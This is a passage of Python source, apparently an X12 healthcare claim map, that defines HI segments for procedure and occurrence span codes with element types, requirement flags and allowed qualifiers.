Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'231',desc=u'Principal Procedure Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BP', u'BR'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'02',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'03',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'06',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'07',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'08',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'09',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'10',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'11',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'12',desc=u'Health Care Code Information'), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Other Procedure Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Occurrence Span Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), 